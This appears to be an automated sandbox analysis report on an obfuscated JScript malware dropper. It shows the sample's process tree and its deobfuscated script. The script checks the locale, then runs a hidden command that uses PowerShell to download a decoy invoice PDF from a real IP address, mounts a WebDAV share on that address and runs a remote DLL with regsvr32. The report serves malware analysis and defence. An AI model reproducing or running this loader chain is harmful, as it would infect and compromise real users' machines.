Jan 10, 2025 14:25:07.544567108 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:25:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	08:25:00
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\145332287313130856.js"
Imagebase:	0x7ff69b600000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:25:01
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll
Imagebase:	0x7ff6684b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:25:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:25:01
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:25:05
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	08:25:05
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6684b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:25:06
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b5050000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:25:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:25:06
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	08:25:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1664,i,16391805749423070974,18443952903317464873,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function rslgi() {	rslgi() ➔ undefined
1	iikgw = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var heoij = this[ppltpar + sxyqnnxp + jafir + cvezler + nbrxjdqg + cnjnngcqx + daherwhid + ctqgfoln] ( this[qnqsrc + vkvzyqv + otrjnh + jafir + zynvdogqb + ppltpar + ctqgfoln][lcsdtoqs + jafir + nbrxjdqg + sxyqnnxp + ctqgfoln + nbrxjdqg + fdlqo + iioinx + vrent + nbrxjdqg + otrjnh + ctqgfoln] ( qnqsrc + vkvzyqv + otrjnh + jafir + zynvdogqb + ppltpar + ctqgfoln + qibixdcj + vkvzyqv + qhqcen + nbrxjdqg + pluezo + pluezo ) [bdldr + nbrxjdqg + pouqhxz + bdldr + nbrxjdqg + sxyqnnxp + fnebtu] ( dntni + wxdtwdkxd + zoijwyqu + culpitree + phhvqivtw + lcsdtoqs + apbhsov + bdldr + bdldr + zoijwyqu + waznjkzw + hltgmikgq + phhvqivtw + apbhsov + vkvzyqv + zoijwyqu + bdldr + qazakwofy + lcsdtoqs + qcrbzccty + daherwhid + ctqgfoln + jafir + qcrbzccty + pluezo + vtycdtel + kgrrrpw + sxyqnnxp + daherwhid + nbrxjdqg + pluezo + qazakwofy + cnjnngcqx + daherwhid + ctqgfoln + nbrxjdqg + jafir + daherwhid + sxyqnnxp + ctqgfoln + zynvdogqb + qcrbzccty + daherwhid + sxyqnnxp + pluezo + qazakwofy + ufmuya + qcrbzccty + otrjnh + sxyqnnxp + pluezo + nbrxjdqg ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xisqx = 0 ; xisqx < iikgw[pluezo + nbrxjdqg + daherwhid + pouqhxz + ctqgfoln + qhqcen] ; ++ xisqx )
4	{
5	if ( heoij == iikgw[xisqx] )
6	{
7	heoij = true;
8	break ;
9	}
10	}
11	if ( heoij !== true )
12	this[qnqsrc + vkvzyqv + otrjnh + jafir + zynvdogqb + ppltpar + ctqgfoln][iqvinghbv + jvimxgnsb + zynvdogqb + ctqgfoln] ( );
13	this[qnqsrc + vkvzyqv + otrjnh + jafir + zynvdogqb + ppltpar + ctqgfoln][lcsdtoqs + jafir + nbrxjdqg + sxyqnnxp + ctqgfoln + nbrxjdqg + fdlqo + iioinx + vrent + nbrxjdqg + otrjnh + ctqgfoln] ( qnqsrc + vkvzyqv + otrjnh + jafir + zynvdogqb + ppltpar + ctqgfoln + qibixdcj + vkvzyqv + qhqcen + nbrxjdqg + pluezo + pluezo ) [jafir + jvimxgnsb + daherwhid] ( otrjnh + dtxvtq + fnebtu + vtycdtel + gbnhqsh + otrjnh + vtycdtel + ppltpar + qcrbzccty + orcwviu + nbrxjdqg + jafir + cvezler + qhqcen + nbrxjdqg + pluezo + pluezo + qibixdcj + nbrxjdqg + misseoe + nbrxjdqg + vtycdtel + bimtyj + lcsdtoqs + qcrbzccty + dtxvtq + dtxvtq + sxyqnnxp + daherwhid + fnebtu + vtycdtel + eiaxietyj + cnjnngcqx + daherwhid + lertzi + qcrbzccty + cwjksizyz + nbrxjdqg + bimtyj + qnqsrc + nbrxjdqg + iioinx + bdldr + nbrxjdqg + nesxxjt + jvimxgnsb + nbrxjdqg + cvezler + ctqgfoln + vtycdtel + bimtyj + fdlqo + jvimxgnsb + ctqgfoln + rhcah + zynvdogqb + pluezo + nbrxjdqg + vtycdtel + pjkfco + ctqgfoln + nbrxjdqg + dtxvtq + ppltpar + pjkfco + qazakwofy + zynvdogqb + daherwhid + lertzi + qcrbzccty + zynvdogqb + otrjnh + nbrxjdqg + qibixdcj + ppltpar + fnebtu + wdlle + vtycdtel + qhqcen + ctqgfoln + ctqgfoln + ppltpar + fnehyqk + gbnhqsh + gbnhqsh + hvkyzsxq + izgad + lnagvbj + qibixdcj + hvkyzsxq + iguhrixw + lnagvbj + qibixdcj + hvkyzsxq + qibixdcj + ivkikuchc + ldfgt + cpkfgd + gbnhqsh + zynvdogqb + daherwhid + lertzi + qcrbzccty + zynvdogqb + otrjnh + nbrxjdqg + qibixdcj + ppltpar + qhqcen + ppltpar + eiaxietyj + uzxtj + uzxtj + cvezler + ctqgfoln + sxyqnnxp + jafir + ctqgfoln + vtycdtel + pjkfco + ctqgfoln + nbrxjdqg + dtxvtq + ppltpar + pjkfco + qazakwofy + zynvdogqb + daherwhid + lertzi + qcrbzccty + zynvdogqb + otrjnh + nbrxjdqg + qibixdcj + ppltpar + fnebtu + wdlle + uzxtj + uzxtj + otrjnh + dtxvtq + fnebtu + vtycdtel + gbnhqsh + otrjnh + vtycdtel + daherwhid + nbrxjdqg + ctqgfoln + vtycdtel + jvimxgnsb + cvezler + nbrxjdqg + vtycdtel + qazakwofy + qazakwofy + hvkyzsxq + izgad + lnagvbj + qibixdcj + hvkyzsxq + iguhrixw + lnagvbj + qibixdcj + hvkyzsxq + qibixdcj + ivkikuchc + ldfgt + cpkfgd + csffvheb + pcftny + pcftny + pcftny + pcftny + qazakwofy + fnebtu + sxyqnnxp + lertzi + orcwviu + orcwviu + orcwviu + jafir + qcrbzccty + qcrbzccty + ctqgfoln + qazakwofy + uzxtj + uzxtj + otrjnh + dtxvtq + fnebtu + vtycdtel + gbnhqsh + otrjnh + vtycdtel + jafir + nbrxjdqg + pouqhxz + cvezler + lertzi + jafir + lnagvbj + ivkikuchc + vtycdtel + gbnhqsh + cvezler + vtycdtel + qazakwofy + qazakwofy + hvkyzsxq + izgad + lnagvbj + qibixdcj + hvkyzsxq + iguhrixw + lnagvbj + qibixdcj + hvkyzsxq + qibixdcj + ivkikuchc + ldfgt + cpkfgd + csffvheb + pcftny + pcftny + pcftny + pcftny + qazakwofy + fnebtu + sxyqnnxp + lertzi + orcwviu + orcwviu + orcwviu + jafir + qcrbzccty + qcrbzccty + ctqgfoln + qazakwofy + ivkikuchc + ivkikuchc + hvkyzsxq + ivkikuchc + ivkikuchc + lnagvbj + cvmzp + frjscepc + cvmzp + hvkyzsxq + lnagvbj + ivkikuchc + ivkikuchc + pcftny + qibixdcj + fnebtu + pluezo + pluezo, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll",0,false) ➔ 0
14	}
15	vkvzyqv = "a";
16	vkvzyqv = "B";
17	vkvzyqv = "m";
18	vkvzyqv = "Q";
19	vkvzyqv = "F";
20	vkvzyqv = "C";
21	vkvzyqv = "p";
22	vkvzyqv = "u";
23	vkvzyqv = "Z";
24	vkvzyqv = "p";
25	vkvzyqv = "O";
26	vkvzyqv = "D";
27	vkvzyqv = "F";
28	vkvzyqv = "E";
29	vkvzyqv = "S";
30	qibixdcj = "o";
31	qibixdcj = "G";
32	qibixdcj = "M";
33	qibixdcj = "Z";
34	qibixdcj = "J";
35	qibixdcj = "U";
36	qibixdcj = "I";
37	qibixdcj = "T";
38	qibixdcj = "F";
39	qibixdcj = "O";
40	qibixdcj = "f";
41	qibixdcj = "B";
42	qibixdcj = "j";
43	qibixdcj = "Y";
44	qibixdcj = "y";
45	qibixdcj = "H";
46	qibixdcj = "J";
47	qibixdcj = "J";
48	qibixdcj = "q";
49	qibixdcj = "E";
50	qibixdcj = "P";
51	qibixdcj = "W";
52	qibixdcj = "v";
53	qibixdcj = "z";
54	qibixdcj = "p";
55	qibixdcj = ".";
56	ppltpar = "Z";
57	ppltpar = "N";
58	ppltpar = "T";
59	ppltpar = "w";
60	ppltpar = "R";
61	ppltpar = "R";
62	ppltpar = "s";
63	ppltpar = "L";
64	ppltpar = "l";
65	ppltpar = "O";
66	ppltpar = "f";
67	ppltpar = "V";
68	ppltpar = "B";
69	ppltpar = "Q";
70	ppltpar = "G";
71	ppltpar = "L";
72	ppltpar = "e";
73	ppltpar = "v";
74	ppltpar = "a";
75	ppltpar = "A";
76	ppltpar = "F";
77	ppltpar = "V";
78	ppltpar = "X";
79	ppltpar = "p";
80	lertzi = "s";
81	lertzi = "F";
82	lertzi = "g";
83	lertzi = "Y";
84	lertzi = "X";
85	lertzi = "u";
86	lertzi = "f";
87	lertzi = "K";
88	lertzi = "S";
89	lertzi = "R";
90	lertzi = "i";
91	lertzi = "i";
92	lertzi = "S";
93	lertzi = "X";
94	lertzi = "g";
95	lertzi = "u";
96	lertzi = "X";
97	lertzi = "E";
98	lertzi = "H";
99	lertzi = "r";
100	lertzi = "l";
101	lertzi = "z";
102	lertzi = "S";
103	lertzi = "C";
104	lertzi = "o";
105	lertzi = "i";
106	lertzi = "M";
107	lertzi = "O";
108	lertzi = "v";
109	pouqhxz = "N";
110	pouqhxz = "h";
111	pouqhxz = "T";
112	pouqhxz = "S";
113	pouqhxz = "i";
114	pouqhxz = "u";
115	pouqhxz = "a";
116	pouqhxz = "M";
117	pouqhxz = "q";
118	pouqhxz = "w";
119	pouqhxz = "U";
120	pouqhxz = "z";
121	pouqhxz = "m";
122	pouqhxz = "y";
123	pouqhxz = "I";
124	pouqhxz = "s";
125	pouqhxz = "v";
126	pouqhxz = "a";
127	pouqhxz = "t";
128	pouqhxz = "X";
129	pouqhxz = "S";
130	pouqhxz = "g";
131	vrent = "B";
132	vrent = "B";
133	vrent = "U";
134	vrent = "q";
135	vrent = "a";
136	vrent = "t";
137	vrent = "O";
138	vrent = "U";
139	vrent = "p";
140	vrent = "j";
141	wdlle = "u";
142	wdlle = "x";
143	wdlle = "I";
144	wdlle = "I";
145	wdlle = "w";
146	wdlle = "e";
147	wdlle = "C";
148	wdlle = "K";
149	wdlle = "d";
150	wdlle = "W";
151	wdlle = "h";
152	wdlle = "C";
153	wdlle = "w";
154	wdlle = "c";
155	wdlle = "E";
156	wdlle = "z";
157	wdlle = "W";
158	wdlle = "K";
159	wdlle = "m";
160	wdlle = "b";
161	wdlle = "u";
162	wdlle = "e";
163	wdlle = "f";
164	iguhrixw = "X";
165	iguhrixw = "v";
166	iguhrixw = "W";
167	iguhrixw = "g";
168	iguhrixw = "Z";
169	iguhrixw = "j";
170	iguhrixw = "w";
171	iguhrixw = "E";
172	iguhrixw = "x";
173	iguhrixw = "f";
174	iguhrixw = "s";
175	iguhrixw = "l";
176	iguhrixw = "4";
177	lcsdtoqs = "d";
178	lcsdtoqs = "k";
179	lcsdtoqs = "L";
180	lcsdtoqs = "g";
181	lcsdtoqs = "X";
182	lcsdtoqs = "m";
183	lcsdtoqs = "c";
184	lcsdtoqs = "X";
185	lcsdtoqs = "P";
186	lcsdtoqs = "A";
187	lcsdtoqs = "n";
188	lcsdtoqs = "D";
189	lcsdtoqs = "i";
190	lcsdtoqs = "c";
191	lcsdtoqs = "n";
192	lcsdtoqs = "t";
193	lcsdtoqs = "T";
194	lcsdtoqs = "L";
195	lcsdtoqs = "i";
196	lcsdtoqs = "T";
197	lcsdtoqs = "S";
198	lcsdtoqs = "c";
199	lcsdtoqs = "C";
200	zynvdogqb = "Z";
201	zynvdogqb = "n";
202	zynvdogqb = "E";
203	zynvdogqb = "P";
204	zynvdogqb = "y";
205	zynvdogqb = "X";
206	zynvdogqb = "H";
207	zynvdogqb = "V";
208	zynvdogqb = "Y";
209	zynvdogqb = "B";
210	zynvdogqb = "O";
211	zynvdogqb = "O";
212	zynvdogqb = "R";
213	zynvdogqb = "t";
214	zynvdogqb = "h";
215	zynvdogqb = "o";
216	zynvdogqb = "A";
217	zynvdogqb = "O";
218	zynvdogqb = "H";
219	zynvdogqb = "C";
220	zynvdogqb = "R";
221	zynvdogqb = "M";
222	zynvdogqb = "M";
223	zynvdogqb = "y";
224	zynvdogqb = "d";
225	zynvdogqb = "M";
226	zynvdogqb = "D";
227	zynvdogqb = "U";
228	zynvdogqb = "b";
229	zynvdogqb = "k";
230	zynvdogqb = "P";
231	zynvdogqb = "H";
232	zynvdogqb = "B";
233	zynvdogqb = "k";
234	zynvdogqb = "X";
235	zynvdogqb = "i";
236	ufmuya = "D";
237	ufmuya = "c";
238	ufmuya = "i";
239	ufmuya = "a";
240	ufmuya = "q";
241	ufmuya = "F";
242	ufmuya = "O";
243	ufmuya = "a";
244	ufmuya = "i";
245	ufmuya = "F";
246	ufmuya = "K";
247	ufmuya = "w";
248	ufmuya = "C";
249	ufmuya = "P";
250	ufmuya = "h";
251	ufmuya = "X";
252	ufmuya = "C";
253	ufmuya = "A";
254	ufmuya = "b";
255	ufmuya = "M";
256	ufmuya = "y";
257	ufmuya = "C";
258	ufmuya = "j";
259	ufmuya = "h";
260	ufmuya = "M";
261	ufmuya = "A";
262	ufmuya = "C";
263	ufmuya = "K";
264	ufmuya = "m";
265	ufmuya = "C";
266	ufmuya = "N";
267	ufmuya = "Y";
268	ufmuya = "L";
269	uzxtj = "p";
270	uzxtj = "N";
271	uzxtj = "r";
272	uzxtj = "i";
273	uzxtj = "f";
274	uzxtj = "J";
275	uzxtj = "m";
276	uzxtj = "y";
277	uzxtj = "e";
278	uzxtj = "k";
279	uzxtj = "q";
280	uzxtj = "p";
281	uzxtj = "C";
282	uzxtj = "c";
283	uzxtj = "e";
284	uzxtj = "I";
285	uzxtj = "Q";
286	uzxtj = "d";
287	uzxtj = "X";
288	uzxtj = "j";
289	uzxtj = "k";
290	uzxtj = "C";
291	uzxtj = "o";
292	uzxtj = "m";
293	uzxtj = "o";
294	uzxtj = "w";
295	uzxtj = "W";
296	uzxtj = "L";
297	uzxtj = "o";
298	uzxtj = "l";
299	uzxtj = "E";
300	uzxtj = "S";
301	uzxtj = "i";
302	uzxtj = "A";
303	uzxtj = "A";
304	uzxtj = "q";
305	uzxtj = "Y";
306	uzxtj = "c";
307	uzxtj = "r";
308	uzxtj = "G";
309	uzxtj = "G";
310	uzxtj = "&";
311	qhqcen = "E";
312	qhqcen = "d";
313	qhqcen = "R";
314	qhqcen = "w";
315	qhqcen = "U";
316	qhqcen = "U";
317	qhqcen = "U";
318	qhqcen = "C";
319	qhqcen = "P";
320	qhqcen = "Y";
321	qhqcen = "m";
322	qhqcen = "h";
323	qhqcen = "o";
324	qhqcen = "o";
325	qhqcen = "I";
326	qhqcen = "t";
327	qhqcen = "h";
328	qhqcen = "j";
329	qhqcen = "j";
330	qhqcen = "t";
331	qhqcen = "V";
332	qhqcen = "F";
333	qhqcen = "q";
334	qhqcen = "k";
335	qhqcen = "P";
336	qhqcen = "X";
337	qhqcen = "E";
338	qhqcen = "z";
339	qhqcen = "v";
340	qhqcen = "Z";
341	qhqcen = "a";
342	qhqcen = "J";
343	qhqcen = "W";
344	qhqcen = "g";
345	qhqcen = "i";
346	qhqcen = "K";
347	qhqcen = "Z";
348	qhqcen = "V";
349	qhqcen = "N";
350	qhqcen = "J";
351	qhqcen = "Z";
352	qhqcen = "L";
353	qhqcen = "m";
354	qhqcen = "h";
355	cnjnngcqx = "Q";
356	cnjnngcqx = "F";
357	cnjnngcqx = "q";
358	cnjnngcqx = "I";
359	cnjnngcqx = "T";
360	cnjnngcqx = "G";
361	cnjnngcqx = "r";
362	cnjnngcqx = "z";
363	cnjnngcqx = "H";
364	cnjnngcqx = "x";
365	cnjnngcqx = "Y";
366	cnjnngcqx = "R";
367	cnjnngcqx = "L";
368	cnjnngcqx = "w";
369	cnjnngcqx = "q";
370	cnjnngcqx = "P";
371	cnjnngcqx = "p";
372	cnjnngcqx = "z";
373	cnjnngcqx = "e";
374	cnjnngcqx = "b";
375	cnjnngcqx = "O";
376	cnjnngcqx = "H";
377	cnjnngcqx = "O";
378	cnjnngcqx = "R";
379	cnjnngcqx = "e";
380	cnjnngcqx = "v";
381	cnjnngcqx = "X";
382	cnjnngcqx = "I";
383	fnebtu = "f";
384	fnebtu = "O";
385	fnebtu = "d";
386	culpitree = "h";
387	culpitree = "U";
388	culpitree = "t";
389	culpitree = "O";
390	culpitree = "q";
391	culpitree = "C";
392	culpitree = "U";
393	culpitree = "a";
394	culpitree = "J";
395	culpitree = "Y";
396	misseoe = "J";
397	misseoe = "F";
398	misseoe = "B";
399	misseoe = "m";
400	misseoe = "P";
401	misseoe = "t";
402	misseoe = "S";
403	misseoe = "G";
404	misseoe = "h";
405	misseoe = "Q";
406	misseoe = "q";
407	misseoe = "s";
408	misseoe = "j";
409	misseoe = "e";
410	misseoe = "S";
411	misseoe = "Z";
412	misseoe = "I";
413	misseoe = "c";
414	misseoe = "o";
415	misseoe = "k";
416	misseoe = "b";
417	misseoe = "r";
418	misseoe = "u";
419	misseoe = "p";
420	misseoe = "e";
421	misseoe = "r";
422	misseoe = "D";
423	misseoe = "f";
424	misseoe = "i";
425	misseoe = "z";
426	misseoe = "r";
427	misseoe = "A";
428	misseoe = "T";
429	misseoe = "e";
430	misseoe = "b";
431	misseoe = "n";
432	misseoe = "B";
433	misseoe = "L";
434	misseoe = "H";
435	misseoe = "T";
436	misseoe = "P";
437	misseoe = "x";
438	jafir = "J";
439	jafir = "W";
440	jafir = "Z";
441	jafir = "D";
442	jafir = "J";
443	jafir = "t";
444	jafir = "J";
445	jafir = "P";
446	jafir = "Z";
447	jafir = "p";
448	jafir = "d";
449	jafir = "i";
450	jafir = "s";
451	jafir = "y";
452	jafir = "r";
453	sxyqnnxp = "u";
454	sxyqnnxp = "w";
455	sxyqnnxp = "N";
456	sxyqnnxp = "L";
457	sxyqnnxp = "a";
458	sxyqnnxp = "y";
459	sxyqnnxp = "s";
460	sxyqnnxp = "r";
461	sxyqnnxp = "n";
462	sxyqnnxp = "w";
463	sxyqnnxp = "v";
464	sxyqnnxp = "h";
465	sxyqnnxp = "q";
466	sxyqnnxp = "G";
467	sxyqnnxp = "k";
468	sxyqnnxp = "X";
469	sxyqnnxp = "Z";
470	sxyqnnxp = "k";
471	sxyqnnxp = "J";
472	sxyqnnxp = "u";
473	sxyqnnxp = "a";
474	pcftny = "h";
475	pcftny = "u";
476	pcftny = "D";
477	pcftny = "K";
478	pcftny = "s";
479	pcftny = "e";
480	pcftny = "n";
481	pcftny = "H";
482	pcftny = "A";
483	pcftny = "J";
484	pcftny = "D";
485	pcftny = "M";
486	pcftny = "G";
487	pcftny = "L";
488	pcftny = "M";
489	pcftny = "r";
490	pcftny = "C";
491	pcftny = "G";
492	pcftny = "r";
493	pcftny = "M";
494	pcftny = "p";
495	pcftny = "M";
496	pcftny = "d";
497	pcftny = "O";
498	pcftny = "g";
499	pcftny = "8";
500	iioinx = "D";
501	iioinx = "h";
502	iioinx = "K";
503	iioinx = "f";
504	iioinx = "N";
505	iioinx = "h";
506	iioinx = "F";
507	iioinx = "b";
508	iioinx = "L";
509	iioinx = "u";
510	iioinx = "N";
511	iioinx = "s";
512	iioinx = "N";
513	iioinx = "V";
514	iioinx = "d";
515	iioinx = "L";
516	iioinx = "N";
517	iioinx = "Z";
518	iioinx = "s";
519	iioinx = "o";
520	iioinx = "C";
521	iioinx = "u";
522	iioinx = "a";
523	iioinx = "y";
524	iioinx = "I";
525	iioinx = "o";
526	iioinx = "K";
527	iioinx = "q";
528	iioinx = "V";
529	iioinx = "v";
530	iioinx = "I";
531	iioinx = "c";
532	iioinx = "a";
533	iioinx = "P";
534	iioinx = "A";
535	iioinx = "e";
536	iioinx = "o";
537	iioinx = "J";
538	iioinx = "e";
539	iioinx = "D";
540	iioinx = "r";
541	iioinx = "U";
542	iioinx = "r";
543	iioinx = "b";
544	wxdtwdkxd = "d";
545	wxdtwdkxd = "g";
546	wxdtwdkxd = "j";
547	wxdtwdkxd = "N";
548	wxdtwdkxd = "x";
549	wxdtwdkxd = "G";
550	wxdtwdkxd = "F";
551	wxdtwdkxd = "l";
552	wxdtwdkxd = "t";
553	wxdtwdkxd = "Y";
554	wxdtwdkxd = "n";
555	wxdtwdkxd = "N";
556	wxdtwdkxd = "n";
557	wxdtwdkxd = "x";
558	wxdtwdkxd = "S";
559	wxdtwdkxd = "H";
560	wxdtwdkxd = "X";
561	wxdtwdkxd = "J";
562	wxdtwdkxd = "d";
563	wxdtwdkxd = "S";
564	wxdtwdkxd = "e";
565	wxdtwdkxd = "L";
566	wxdtwdkxd = "A";
567	wxdtwdkxd = "o";
568	wxdtwdkxd = "v";
569	wxdtwdkxd = "k";
570	wxdtwdkxd = "W";
571	wxdtwdkxd = "X";
572	wxdtwdkxd = "G";
573	wxdtwdkxd = "w";
574	wxdtwdkxd = "p";
575	wxdtwdkxd = "W";
576	wxdtwdkxd = "h";
577	wxdtwdkxd = "E";
578	wxdtwdkxd = "Y";
579	wxdtwdkxd = "E";
580	wxdtwdkxd = "K";
581	nbrxjdqg = "p";
582	nbrxjdqg = "I";
583	nbrxjdqg = "s";
584	nbrxjdqg = "J";
585	nbrxjdqg = "e";
586	jvimxgnsb = "g";
587	jvimxgnsb = "J";
588	jvimxgnsb = "h";
589	jvimxgnsb = "c";
590	jvimxgnsb = "x";
591	jvimxgnsb = "B";
592	jvimxgnsb = "W";
593	jvimxgnsb = "j";
594	jvimxgnsb = "d";
595	jvimxgnsb = "H";
596	jvimxgnsb = "V";
597	jvimxgnsb = "d";
598	jvimxgnsb = "D";
599	jvimxgnsb = "N";
600	jvimxgnsb = "z";
601	jvimxgnsb = "P";
602	jvimxgnsb = "Y";
603	jvimxgnsb = "H";
604	jvimxgnsb = "e";
605	jvimxgnsb = "q";
606	jvimxgnsb = "S";
607	jvimxgnsb = "R";
608	jvimxgnsb = "u";
609	zoijwyqu = "N";
610	zoijwyqu = "U";
611	zoijwyqu = "v";
612	zoijwyqu = "H";
613	zoijwyqu = "P";
614	zoijwyqu = "H";
615	zoijwyqu = "L";
616	zoijwyqu = "n";
617	zoijwyqu = "e";
618	zoijwyqu = "R";
619	zoijwyqu = "n";
620	zoijwyqu = "F";
621	zoijwyqu = "P";
622	zoijwyqu = "z";
623	zoijwyqu = "o";
624	zoijwyqu = "s";
625	zoijwyqu = "h";
626	zoijwyqu = "p";
627	zoijwyqu = "U";
628	zoijwyqu = "A";
629	zoijwyqu = "F";
630	zoijwyqu = "u";
631	zoijwyqu = "S";
632	zoijwyqu = "W";
633	zoijwyqu = "L";
634	zoijwyqu = "k";
635	zoijwyqu = "O";
636	zoijwyqu = "f";
637	zoijwyqu = "I";
638	zoijwyqu = "T";
639	zoijwyqu = "Y";
640	zoijwyqu = "d";
641	zoijwyqu = "V";
642	zoijwyqu = "W";
643	zoijwyqu = "z";
644	zoijwyqu = "y";
645	zoijwyqu = "N";
646	zoijwyqu = "E";
647	apbhsov = "D";
648	apbhsov = "h";
649	apbhsov = "R";
650	apbhsov = "v";
651	apbhsov = "n";
652	apbhsov = "Q";
653	apbhsov = "T";
654	apbhsov = "z";
655	apbhsov = "z";
656	apbhsov = "B";
657	apbhsov = "I";
658	apbhsov = "V";
659	apbhsov = "j";
660	apbhsov = "d";
661	apbhsov = "t";
662	apbhsov = "k";
663	apbhsov = "T";
664	apbhsov = "o";
665	apbhsov = "U";
666	qcrbzccty = "q";
667	qcrbzccty = "L";
668	qcrbzccty = "k";
669	qcrbzccty = "d";
670	qcrbzccty = "O";
671	qcrbzccty = "q";
672	qcrbzccty = "N";
673	qcrbzccty = "i";
674	qcrbzccty = "Z";
675	qcrbzccty = "o";
676	qcrbzccty = "c";
677	qcrbzccty = "u";
678	qcrbzccty = "y";
679	qcrbzccty = "Y";
680	qcrbzccty = "E";
